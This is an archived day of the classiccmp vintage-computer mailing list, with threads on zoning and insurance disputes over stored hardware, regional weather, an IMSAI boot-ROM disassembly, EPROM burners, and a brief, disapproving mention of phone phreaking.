Fri, 08 Jun 2001 13:26:41 -0400 Size: 2013 Url: http://www.classiccmp.org/pipermail/cctalk/attachments/20010608/6da60beb/attachment.mht From brian.roth at firstniagarabank.com Fri Jun 8 12:34:52 2001 From: brian.roth at firstniagarabank.com (brian roth) Date: Sun Feb 27 19:04:18 2005 Subject: OT stories about phone phreaking Message-ID: That trick hasn't worked in decades. You can still blue box in some area's but I wouldn't do it. drops a trouble card. Phone phreaking started to go away when the phone companies started to replace the old crossbar switching equipment with electronic switches and computer switching (ESS5, etc...) There are still a few area that you can still red box though. No matter what, its still called stealing. Brian. On Fri, 8 Jun 2001, Gabe Steiger wrote: > Is it still possible to phreak a phone by unscrewing the talk speaker? > I tried unscrewing the mouth peice once, could not unscrew it. Bastard > would NOT budge. Brian Roth Network Services First Niagara Bank (716) 625-7500 X2186 Brian.Roth@FirstNiagaraBank.com From red at bears.org Fri Jun 8 12:40:49 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:04:18 2005 Subject: storing gear and businesses and so on In-Reply-To: <20010608133232.B44021@tmok.com> Message-ID: On Fri, 8 Jun 2001, Brian Hechinger wrote: > it's a not c ITYM "pedant". HTH, HAND. ok r. From rhblake at bigfoot.com Fri Jun 8 12:43:05 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:18 2005 Subject: storing gear and businesses and so on In-Reply-To: Message-ID: Can't be any worse than my 220 watt linear amp and amplified mic...I won't say what meter band it's running though. Throws all sorts of harmonics for miles. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Zane H. Healy > Sent: Friday, June 08, 2001 12:18 PM > To: classiccmp@classiccmp.org > Subject: re: storing gear and businesses and so on > > > >It does bring up a related question. If memory serves, electronic > >equipment for home use has to have an FCC class C rating, whereas > >equipment for business only needs to have a class B rating, since > >nobody is expecting to run TVs, radios, etc nearby (at least in > >theory). So my question is, if my vaxstation is only class b > >rated, can I get in trouble having it in my home? (not sure > >the vaxstation isn't class c rated, it's just an example here.) > >-- > >Jim Strickland > > The answer is probably. Of course I've got a 1990 Twinhead Laptop which > generates more interference than something like my PDP-11/44, > PDP-11/73, or > PDP-8/m. Actually that laptop is the onlything I can think of that I've > got that does generate troublesome interference. It can be in > another room > and mess up a TV in the next room. IIRC, if it's in the same room as the > TV, the TV is unwatchable. > > Zane > -- > | Zane H. Healy | UNIX Systems Administrator | > | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | > | healyzh@holonet.net (alternate) | Classic Computer Collector | > +----------------------------------+----------------------------+ > | Empire of the Petal Throne and Traveller Role Playing, | > | and Zane's Computer Museum. | > | http://www.aracnet.com/~healyzh/ | From dhquebbeman at theestopinalgroup.com Fri Jun 8 12:47:31 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:18 2005 Subject: Subject: Re: Storage of computer and parts in the residential are a Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510DF@jeffserver.tegjeff.com> > What we really need is a lending library and a central repository for > classic computer equipment. The obvious solution is to go underground. [..snip..] > How about decommissioned missile silo? A recent episode of 60 Minutes or one of its clones howed a guy out west (relative to Indiana) who's bought a silo and is living in it. Only in America... -dq From mikeford at socal.rr.com Fri Jun 8 12:25:38 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: References: <01Jun8.082145edt.119091@gateway.mediacen.navy.mil> Message-ID: >You know they can't prove he ever got the letter unless it was served or >sent (and signed for) by certified or registered mail. My policy is polite, stupid, but persistent. I found the city municipal code online last night and read all the sections, and even made a cross reference seach. Home Occupation is defined as; HOME OCCUPATION - Any accessory activity carried out for financial gain which is conducted within a dwelling unit or an accessory structure to the unit. I may have had some visions of financial gain, but time has proven otherwise. The irony here is that if I was selling a bunch of stuff I wouldn't have stacks around the livingroom. I'm giving myself about half a hour to settle down, then I call to see how it will go. This isn't something that will get better on its own. BTW I am fairly sure of what set this off. On 5/29 the condo association board toured the complex and noted that my trash and recycle bins were setting on my front porch (which isn't visible from the street) and four computers were stacked on top of them. Three days later I get a "or else" letter from the association, and now about a week later this letter from city zoning. This is the part of being in a condo I hate, the mindless petty rules. For the curious the codes are all here, just do a search on home occupation http://bpc.iserver.net/codes/orange/index.htm From donm at cts.com Fri Jun 8 13:07:58 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:18 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: On Fri, 8 Jun 2001, Vance Dereksen wrote: > > There's a way to fix THAT particular problem... attack dogs. > > Peace... Sridhar Peace? Nothing very peaceful about that :) - don > On Fri, 8 Jun 2001, Lists wrote: > > > > > > Geez...just when you think you've heard it all. This is taking those > > > neighborhood zoning restrictions a bit too far. Obviously, the > > > neighbor has too much time on their hands. > > > > Sounds like the neighbor has been invading his privacy by snooping around > > himself... Gotta love people like that, with nothing better to do than > > cause grief. > > > > From xds_sigma7 at hotmail.com Fri Jun 8 13:14:16 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:04:18 2005 Subject: Motorola 88000 Message-ID: The DN10000 also had a maximum of 4, not 8 processors... There weren't any actual Apollo products that used the 88K, I guess I could call one of the founders of Apollo and ask him, but I'm really sure on this one. Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From rhblake at bigfoot.com Fri Jun 8 13:15:52 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:18 2005 Subject: OT stories about phone phreaking In-Reply-To: Message-ID: Seen your bill lately? What do they call that? > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of brian roth > Sent: Friday, June 08, 2001 12:35 PM > To: classiccmp@classiccmp.org > Subject: Re: OT stories about phone phreaking >> No matter what, its still called stealing. > > Brian. From donm at cts.com Fri Jun 8 13:17:42 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:18 2005 Subject: Will trade classic H/W for CP/M 2.2 help! In-Reply-To: Message-ID: On Fri, 8 Jun 2001, Feldman, Robert wrote: > You can buy a "new" licensed copy of CP/M (the original DR version) from > California Digital for only $9 at http://www.cadigital.com/software.htm. It > won't be set up for your particular computer, though, but does have the DR > manuals. Actually, it is tailored, I believe, to the Xerox 1800 'Laptop' that they also sold at one time. - don > -----Original Message----- > From: Stan Sieler [mailto:sieler@allegro.com] > Sent: Thursday, June 07, 2001 5:38 PM > To: classiccmp@classiccmp.org > Subject: Re: Will trade classic H/W for CP/M 2.2 help! > > > Hi, > > > To any CP/M 2.2 users with 8-inch SSSD floppy disks... > > If any list member can help, I'm willing to trade classic hardware such > > as an HP > > That's a nice offer, and if my back were better, I'd try to talk you > out of those machines. > > However, I suspect that on this list you could simply say "can anyone > send me CP/M 2.2 ..." and you'd get some volunteers. I'd send it if > I had any of my 8" systems working yet! :) > > Good luck, > > Stan Sieler > > Stan Sieler sieler@allegro.com > www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler > From kapteynr at cboe.com Fri Jun 8 13:26:13 2001 From: kapteynr at cboe.com (Rob Kapteyn) Date: Sun Feb 27 19:04:19 2005 Subject: IMSAI EPROMS Message-ID: <6D5A04499826D311811100902760DDCF07F9DD85@msx1.cboe.com> Joel: Can't tell much from the first 128 bytes. It looks like a "boot loader" program. I have a similar program that loads Altair Basic from my paper tape reader. How many bytes total are in the ROM ? The jumps at the beginning go to interupt handlers for hardare generated interupts. Follow those to the code they point to. Unfortunately, I forgot what the standard interupt numbers (and what they did) were. What external peripherals (paper tape reader, teletype, etc.) does it have ? -Rob -----Original Message----- From: Joel Weder [SMTP:jweder@telusplanet.com] Sent: Friday, June 08, 2001 11:46 AM To: classiccmp@classiccmp.org Subject: IMSAI EPROMS Hi all... I've been trying to get some action from this IMSAI for awhile now. Main problem is I don't know what is on the EPROMs on the EconoROM board. It looks like banks A & B, OR banks C & D, can be enabled together starting at address 0000h. There are 6 2708's in A0 through B1, and 8 2708's in C0 through C3. I've been looking for an EPROM burner that can read/write 2708's with no luck so far. We have TWO machines at work, and neither will do it. Anyone know of a burner that WILL? I manually read the first 256 bytes of the first chip, and disassembled it, also manually - I'm looking for a good disassembler program too! I've got one called DASM V1.2 by John Wilson, but have been having some trouble with it. If you've got a few minutes, have a look at what I've included below - the first 128 bytes of code. Let me know if any of it looks familiar. (Or if I messed up the job!) The comments are for my own benefit - I'm pretty rusty with assembler. Addr. Hex Value Mnemonic Comments 0000 AF XRA A ;Exclusive Or A with A (clears A) 0001 C3 3B 00 JMP 003B ;Jump to 003Bh 0008 C3 EE EF JMP FFEE ;Jump to FFEEh 0010 C3 F1 FF JMP FFF1 ;Jump to FFF1h 0018 C3 F4 FF JMP FFF4 ;Jump to FFF4h 0020 C3 F7 FF JMP FFF7 ;Jump to FFF7h 0028 C3 FA FF JMP FFFA ;Jump to FFFAh 0030 C3 FD FF JMP FFFD ;Jump to FFFDh 0038 C3 D3 09 JMP 09D3 ;Jump to 09D3h 003B D3 F0 OUT F0 ;Send contents of A register to port F0h 003D C3 11 D2 JMP D211 ;Jump to D211h 0040 3B DCX SP ;Decrement stack pointer 0041 00 NOP ;Do nothing 0042 C3 5C 00 JMP 005C ;Jump to 005Ch 0045 21 00 F0 LXI H,00 F0 ;Load register pair H & L with F000h 0048 0E 4E MVI C,4E ;Move 4E to register C 004A AF XRA A ;Clear register A 004B 77 MOV M,A ;Move register A to loc'n given in H & L 004C 23 INX H ;Increment H & L registers 004D 0D DCR D ;Decrement register C 004E C2 4B 00 JNZ 004B ;Jump on no zero to address 004Bh 0051 06 18 MVI B,18 ;Move 18h into register B 0053 21 2A F1 LXI H,F12A ;Load H & L registers with F12Ah 0056 77 MOV M,A ;Move register A to loc'n given in H & L 0057 23 INX H ;Increment H & L registers 0058 05 DCR B ;Decrement register B 0059 C2 53 00 JNZ 0053 ;Jump on no zero to address 0053h 005C 31 9E F0 LXI SP,F09E ;Load stack pointer with F09Eh 005F CD 42 01 CALL 0142 ;Transfer program control to addr 0142h 0062 06 2A MVI B,2A ;Move 2Ah into register B 0064 CD 51 01 CALL 0151 ;Transfer program control to addr 0151h 0067 CD 7A 00 CALL 007A :Transfer program control to addr 007Ah 006A 23 INX H ;Increment H & L registers 006B 7E MOV A,M ;Move value from loc'n in H & L to reg A 006C FE 3A CPI 3A ;Compare A with 3Ah (A - 3Ah) 006E DA 7A 05 JC 057A ;Jump on carry to 057Ah 0071 CD DE 01 CALL 01DE ;Transfer program control to addr 01DEh 0074 CD 94 01 CALL 0194 ;Transfer program control to addr 0194h 0077 C3 5C 00 JMP 005C ;Jump to address 005Ch 007A 21 BC F0 LXI H,F0BC ;Load H & L registers with F0BCh 007D 22 50 F0 SHLD F050 ;Store H & L registers at F050h Joel A. Weder jweder@telusplanet.net 403-556-4020 From healyzh at aracnet.com Fri Jun 8 13:44:12 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:19 2005 Subject: Subject: Re: Storage of computer and parts in the residential are a In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510DF@jeffserver.tegjeff.com> Message-ID: >> How about decommissioned missile silo? > >A recent episode of 60 Minutes or one of its clones howed a guy >out west (relative to Indiana) who's bought a silo and is living >in it. > >Only in America... > >-dq Keep in mind that the silo's are actually in great demand for this, and a silo that's been converted brings big $$$'s. The scariest thing along these lines was something I saw on TV about 20 years. This family was living in a silo, and in the bottom they'd built a replica of the original bridge of the Starship Enterprise. Somehow that's something that was scary enough to have really stuck in my brain! Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From wonko at tmok.com Fri Jun 8 13:58:39 2001 From: wonko at tmok.com (Brian Hechinger) Date: Sun Feb 27 19:04:19 2005 Subject: storing gear and businesses and so on In-Reply-To: ; from r. 'bear' stricklin on Fri, Jun 08, 2001 at 01:40:49PM -0400 References: <20010608133232.B44021@tmok.com> Message-ID: <20010608145839.D44021@tmok.com> On Fri, Jun 08, 2001 at 01:40:49PM -0400, r. 'bear' stricklin wrote: > On Fri, 8 Jun 2001, Brian Hechinger wrote: > > > it's a not c > > ITYM "pedant". HTH, HAND. BAH! that's what i get for trying to do too many things at one. -brian From vance at ikickass.org Fri Jun 8 13:47:00 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: Well, like nuclear weapons, attack dogs can be viewed as a deterrent 8;-) (I was kidding, BTW) Peace... Sridhar On Fri, 8 Jun 2001, Don Maslin wrote: > > > On Fri, 8 Jun 2001, Vance Dereksen wrote: > > > > > There's a way to fix THAT particular problem... attack dogs. > > > > Peace... Sridhar > > Peace? Nothing very peaceful about that :) > > - don > > > > On Fri, 8 Jun 2001, Lists wrote: > > > > > > > > > Geez...just when you think you've heard it all. This is taking those > > > > neighborhood zoning restrictions a bit too far. Obviously, the > > > > neighbor has too much time on their hands. > > > > > > Sounds like the neighbor has been invading his privacy by snooping around > > > himself... Gotta love people like that, with nothing better to do than > > > cause grief. > > > > > > > > From foo at siconic.com Fri Jun 8 13:02:04 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <20010608.122759.-493465.0.jeff.kaneko@juno.com> Message-ID: On Fri, 8 Jun 2001, Jeffrey l Kaneko wrote: > Or in California where the damned ground won't hold still . . .:^) Just a rant, but this whole perception of California being this constantly roiling land mass is silly. When you consider that the east coast has on average at least one hurricane every year like clockwork (and sometimes a majorly devastating one), and that the midwest has dozens of tornados (some catastrophic), and the Atlantic and northeast have terrible weather almost year round, I'll take the occasional major earthquake every decade or two over all that nonsense any day (and enjoy the great weather to boot). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From dhquebbeman at theestopinalgroup.com Fri Jun 8 13:59:37 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:19 2005 Subject: OT stories about phone phreaking Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510E1@jeffserver.tegjeff.com> > Seen your bill lately? What do they call that? Yeah- I discontinued caller ID, call waiting, etc, back in December. They wwere pretty quicky about turning them off. However, they haven't yet billing know about it... We do it to them, it's stealing... they do it to us, it's " a mistake". Grr. From louiss at gate.net Fri Jun 8 14:04:19 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:19 2005 Subject: IMSAI EPROMS In-Reply-To: Message-ID: <200106081904.PAA17353@granger.mail.mindspring.net> On Fri, 8 Jun 2001 10:45:45 -0600, Joel Weder wrote: #Hi all... # #I've been trying to get some action from this IMSAI for awhile now. Main #problem is I don't know what is on the EPROMs on the EconoROM board. It #looks like banks A & B, OR banks C & D, can be enabled together starting at #address 0000h. There are 6 2708's in A0 through B1, and 8 2708's in C0 #through C3. # #I've been looking for an EPROM burner that can read/write 2708's with no #luck so far. We have TWO machines at work, and neither will do it. Anyone #know of a burner that WILL? Yes. The Data I/O 29B with Unipak 2B will. I just burned one a couple of weeks ago. As I learned from Pete Turnbull, the reason almost no modern burner can handle a 2708 is that it is a 3-rail chip, requiring, among other things, +12V. Beginning with most 2716s, eproms only used +5V. But, I have the machine, it works, and I would be happy to do it for you, if you supply the chips and code. Louis From dhquebbeman at theestopinalgroup.com Fri Jun 8 14:16:30 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:19 2005 Subject: Motorola 88000 Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510E2@jeffserver.tegjeff.com> > The DN10000 also had a maximum of 4, not 8 processors... There weren't any > actual Apollo products that used the 88K, I guess I could call one of the > founders of Apollo and ask him, but I'm really sure on this one. I knew it was *some* power of two... From CordaAJ at nswc.navy.mil Fri Jun 8 14:18:09 2001 From: CordaAJ at nswc.navy.mil (Corda Albert J DLVA) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area Message-ID: <7B4C28C84831D211BFA200805F9F34561A8EDE@nswcdlvaex04.nswc.navy.mil> You might think that living in a rural area with 5 acres of woodland around you would protect you from this kind of crud, but don't hold your breath.... There's still the insurance company to deal with. My adventure started when a tree took out my front porch during a storm. I made the dreaded mistake of actually trying to _use_ the policy that I had been paying on for 8 years. The company paid up, but a month later I received a letter from the insurance company informing me that my policy was being canceled due to the use of my home as a "storage facility". I argued with the company for a bit and got them to agree to re-evaluate there decision. What they did was to send out a wet-behind-the-ears inspector who then proceeded to tell me that the company _might_ re-instate my policy if I (1) replaced my roof (it was fine, by the way), (2) re-side my house with vinyl (3) Remove the 2 lawn mowers from my yard (remember, I live in the middle of 5 acres of woodland with no neighbors and a 1200 foot dirt driveway) and worst of all, remove all the (and I quote) "Useless electronic junk" from my home. I asked him what he considered acceptable, and he responded with all the rightous arrogance that only the very young and newly powerful can have that one, or at the most two computers would be acceptable, as long as they were small desktops. Needless to say, I asked him to leave. The story does have a happy ending though. I contacted the insurance company one last time and told them that I was going to complain to the state insurance commisioner. They told me to go ahead... the insurance comissioner never forced them to recend any of their decisions, and was merely a "rubber-stamp" organization. I then proceeded to call the insurance commisioners office. While talking to the nice lady on the phone, I repeated verbatim what the insurance company official had said to me. The conversation went like this: "She said WHAT about us?" "Oh really?... And what was her name" "Hmm... well, they might feel that way, but I ASSURE you that we are NOT a rubber-stamp organization..." A few days later I received a letter from the Insurance Commisioner's office stating that my Insurance company had illegally cancelled my policy and had been ordered to re-instate it. (This seemed to amaze my independent insurance agent... I guess it was a pretty rare occurance) Needless to say, as soon as the policy was re-instated I cancelled it myself and changed to another company, but At least I got some satisfaction out of the mess. Moral of the story... If a tree falls in the forest on your deck, make certain the insurace company doesn't hear it :) -al- From vance at ikickass.org Fri Jun 8 14:31:03 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: Well that, and New York had more than two hundred earthquakes last year. Peace... Sridhar On Fri, 8 Jun 2001, Sellam Ismail wrote: > On Fri, 8 Jun 2001, Jeffrey l Kaneko wrote: > > > Or in California where the damned ground won't hold still . . .:^) > > Just a rant, but this whole perception of California being this constantly > roiling land mass is silly. > > When you consider that the east coast has on average at least one > hurricane every year like clockwork (and sometimes a majorly devastating > one), and that the midwest has dozens of tornados (some catastrophic), and > the Atlantic and northeast have terrible weather almost year round, I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > From rhblake at bigfoot.com Fri Jun 8 14:32:03 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: All states have had tornados, some just more than others. In the 2 yrs I was stationed in Kansas and the 8 yrs in middle IL and the 20 in Chicago I was part of 1 damaging tornado - Oak Lawn in the early 70's. Since living here in KY since 95 there have been 3 and one back in early 70's. When I was in Las Vegas we had one good one on the desert but there wasn't anything there to hurt but semi trucks are constantly blown off the highway and tipped by invisible "dust devils" (when they hit pavement and have no dust to pull) or dust storms, as does Califonia on the open desert. Every place has their sucky weather or conditions. At least with a tornado they can see it coming at you with radar, a little hard to do with earthquakes until it actually hits and the seismographs go nuts. Of course we also have some mythical fault here in the midwest that will be doomsday someday but no one seems to know when. Sort of makes you know how ants feel when you walk on their nest... > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Sellam Ismail > Sent: Friday, June 08, 2001 1:02 PM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > On Fri, 8 Jun 2001, Jeffrey l Kaneko wrote: > > > Or in California where the damned ground won't hold still . . .:^) > > Just a rant, but this whole perception of California being this constantly > roiling land mass is silly. > > When you consider that the east coast has on average at least one > hurricane every year like clockwork (and sometimes a majorly devastating > one), and that the midwest has dozens of tornados (some catastrophic), and > the Atlantic and northeast have terrible weather almost year round, I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). > > Sellam Ismail Vintage > Computer Festival > ------------------------------------------------------------------ > ------------ > International Man of Intrigue and Danger > http://www.vintage.org > From bpope at wordstock.com Fri Jun 8 14:35:57 2001 From: bpope at wordstock.com (Bryan Pope) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: from "Sellam Ismail" at Jun 8, 01 11:02:04 am Message-ID: <200106081935.PAA04072@wordstock.com> > > Just a rant, but this whole perception of California being this constantly > roiling land mass is silly. > And I have always wanted *some* sort of earthquake to see what it is like when I am there... But noooooo.... > When you consider that the east coast has on average at least one > hurricane every year like clockwork (and sometimes a majorly devastating > one), and that the midwest has dozens of tornados (some catastrophic), and > the Atlantic and northeast have terrible weather almost year round, I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). > I vaca'd in Carlsbad for three weeks in Dec-Jan.... Perfect weather... Hang outside in the hottub... The beach just down the street... What a good time! Tijuana for New Years Eve.. (I am glad I wasn't too drunk when I came back!) And I am living in the northeast.. Where right now the weather is very nice.. But .. it can and will change. Bryan From dhquebbeman at theestopinalgroup.com Fri Jun 8 14:35:04 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510E3@jeffserver.tegjeff.com> > > Or in California where the damned ground won't hold still . . .:^) > > Just a rant, but this whole perception of California being this constantly > roiling land mass is silly. > > When you consider that the east coast has on average at least one > hurricane every year like clockwork (and sometimes a majorly devastating > one), and that the midwest has dozens of tornados (some catastrophic), and > the Atlantic and northeast have terrible weather almost year round, I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). I would say that good thing there's a place for everyone, but I'll probably never find a mix of weather, economy, and culture I can really live with. For weather, I want winters with three months continual snow cover; I want the economy of the Midwest, were I live, and the culture of New York City. Oh, and proximity to gobs and gobs of Classic Computers... -dq From rhblake at bigfoot.com Fri Jun 8 14:58:09 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <200106081935.PAA04072@wordstock.com> Message-ID: We had an earthquake in the middle of the night back in 84 when I lived in Plattsburgh NY (across from Burlington, VT) and it was havy for that area but nothing for a Califonia quake - it was absolutely WEIRD. It was like standing on an elevated platform in Chicago when the train comes by - multiplied 20 or 30 times. The ground tremors from bomb testing on the Nellis Range in Nevada were stronger but we knew they were coming and why they happened. > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Bryan Pope > Sent: Friday, June 08, 2001 2:36 PM > To: classiccmp@classiccmp.org > Subject: Re: Storage of computer and parts in the residential area > > > > > > Just a rant, but this whole perception of California being this > constantly > > roiling land mass is silly. > > > > And I have always wanted *some* sort of earthquake to see what it is like > when I am there... But noooooo.... From mikeford at socal.rr.com Fri Jun 8 14:56:18 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:19 2005 Subject: Old computer lending library In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371510DF@jeffserver.tegjeff.com> Message-ID: >> What we really need is a lending library and a central repository for >> classic computer equipment. The obvious solution is to go underground. This is not a bad idea at all. Anybody local enough to come and get something, is formally invited to borrow and play with just about any old computer thing I have. This would include, but not be limited to; Apple IIe Apple IIgs IBM PC Various old laptops Mac Plus Mac SE Mac SE with networking Mac SE/30 w/wo networking Mac IIx Mac IIfx Mac IIci running NetBSD as a router Mac Q700 Mac Q610 Mac 6100 Mac 7100 PS2 model 9595 server Apollo various from 400T to 725/50 PA-Risc C64 whole system Monitors and other various bits possible too. Also for the adventure minded non working examples may be available for the pleasure of repairing them. I am in Orange, CA about 5 miles east of the 22/55 fwy intersection. July 21, 2001 is the next scheduled condo garage sale day, and I plan to make it a hoot. From george at racsys.rt.rain.com Fri Jun 8 15:12:08 2001 From: george at racsys.rt.rain.com (George Leo Rachor Jr.) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: I used to think that living in the Northwest (Oregon) was pretty safe/boring... Then St. Helens woke up.... Never take anything for granted again.... George Rachor ========================================================= George L. Rachor Jr. george@rachors.com Hillsboro, Oregon http://rachors.com United States of America Amateur Radio : KD7DCX On Fri, 8 Jun 2001, Sellam Ismail wrote: > On Fri, 8 Jun 2001, Jeffrey l Kaneko wrote: > > > Or in California where the damned ground won't hold still . . .:^) > > Just a rant, but this whole perception of California being this constantly > roiling land mass is silly. > > When you consider that the east coast has on average at least one > hurricane every year like clockwork (and sometimes a majorly devastating > one), and that the midwest has dozens of tornados (some catastrophic), and > the Atlantic and northeast have terrible weather almost year round, I'll > take the occasional major earthquake every decade or two over all that > nonsense any day (and enjoy the great weather to boot). > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From dhquebbeman at theestopinalgroup.com Fri Jun 8 15:42:01 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:19 2005 Subject: Old computer lending library Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371510E8@jeffserver.tegjeff.com> > This is not a bad idea at all. And not the first time it's been suggested. Sellam, was it you who brought this up before? -dq From broth at heathers.stdio.com Fri Jun 8 17:02:04 2001 From: broth at heathers.stdio.com (Brian Roth) Date: Sun Feb 27 19:04:19 2005 Subject: Overland 9 track Message-ID: <3B214B5C.A2291247@heathers.stdio.com> Does anyone have any docs or software on the Overland Data model OD3201 9-track? It has what I beleive a Serial and a Pertec interface. It does 1600 and 3200 BPI. A quick Internet search came up dry. Thanks, Brian. From vaxman at qwest.net Fri Jun 8 17:00:26 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: <00ce01c0f034$e8f32b70$0100a8c0@dellhare> Message-ID: They've got you here... > > > > 2. Involve the use of mechanical equipment or storage of material and/or > > supplies on trucks in amounts not recognized as part of reasonable > > household use. > > From vance at ikickass.org Fri Jun 8 17:06:06 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area In-Reply-To: Message-ID: I remember that. I was in Lake George at the time. Peace... Sridhar On Fri, 8 Jun 2001, Russ Blakeman wrote: > We had an earthquake in the middle of the night back in 84 when I lived in > Plattsburgh NY (across from Burlington, VT) and it was havy for that area > but nothing for a Califonia quake - it was absolutely WEIRD. It was like > standing on an elevated platform in Chicago when the train comes by - > multiplied 20 or 30 times. The ground tremors from bomb testing on the > Nellis Range in Nevada were stronger but we knew they were coming and why > they happened. > > > -----Original Message----- > > From: owner-classiccmp@classiccmp.org > > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Bryan Pope > > Sent: Friday, June 08, 2001 2:36 PM > > To: classiccmp@classiccmp.org > > Subject: Re: Storage of computer and parts in the residential area > > > > > > > > > > Just a rant, but this whole perception of California being this > > constantly > > > roiling land mass is silly. > > > > > > > And I have always wanted *some* sort of earthquake to see what it is like > > when I am there... But noooooo.... > From vaxman at qwest.net Fri Jun 8 17:03:13 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:04:19 2005 Subject: storing gear and businesses and so on In-Reply-To: <200106081636.KAA30338@calico.litterbox.com> Message-ID: Only if it causes interference on your neighbors TV. Since most everyone is on cable or satellite nowdays, that isn't really an issue. As a side note, my Sony DSS receiver (SAT-B1) causes so much interference, you can't watch TV from rabbit ears in the next room. I wonder how they got it past the FCC... Clint On Fri, 8 Jun 2001, Jim Strickland wrote: > It does bring up a related question. If memory serves, electronic > equipment for home use has to have an FCC class C rating, whereas > equipment for business only needs to have a class B rating, since > nobody is expecting to run TVs, radios, etc nearby (at least in > theory). So my question is, if my vaxstation is only class b > rated, can I get in trouble having it in my home? (not sure > the vaxstation isn't class c rated, it's just an example here.) > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > BeOS Powered! > ----------------------------------------------------------------------- > > From edick at idcomm.com Fri Jun 8 17:07:33 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:19 2005 Subject: Storage of computer and parts in the residential area References: <003001c0f02a$c112c7a0$9cc762d8@idcomm.com> <3B20EE60.F757C207@internet1.net> Message-ID: <004801c0f067$6b429fc0$9cc762d8@idcomm.com> People routinely complain about rusting hulks of automobiles once destined for "restoration" but really used for restoring something else. It's a real sore point in my neighborhood, but once the city knows it's (a) not a blatant health risk, and (b) not a potential source of revenue, they generally let you get by if you simply put a cover over each car. It's easier for the neighbors to consider your "classic" car an item of value if you keep it covered. I guess "out of sight, out of mind" applies. Perhaps that same strategy could be applied to computer hardware. Dick ----- Original Message ----- From: "Chad Fernandez" To: Sent: Friday, June 08, 2001 9:25 AM Subject: Re: Storage of computer and parts in the residential area > I' surprised 1'x2' paving blocks under the wheels were allowed. I would > have thought that the whole area would have had to be done, under the > boat. 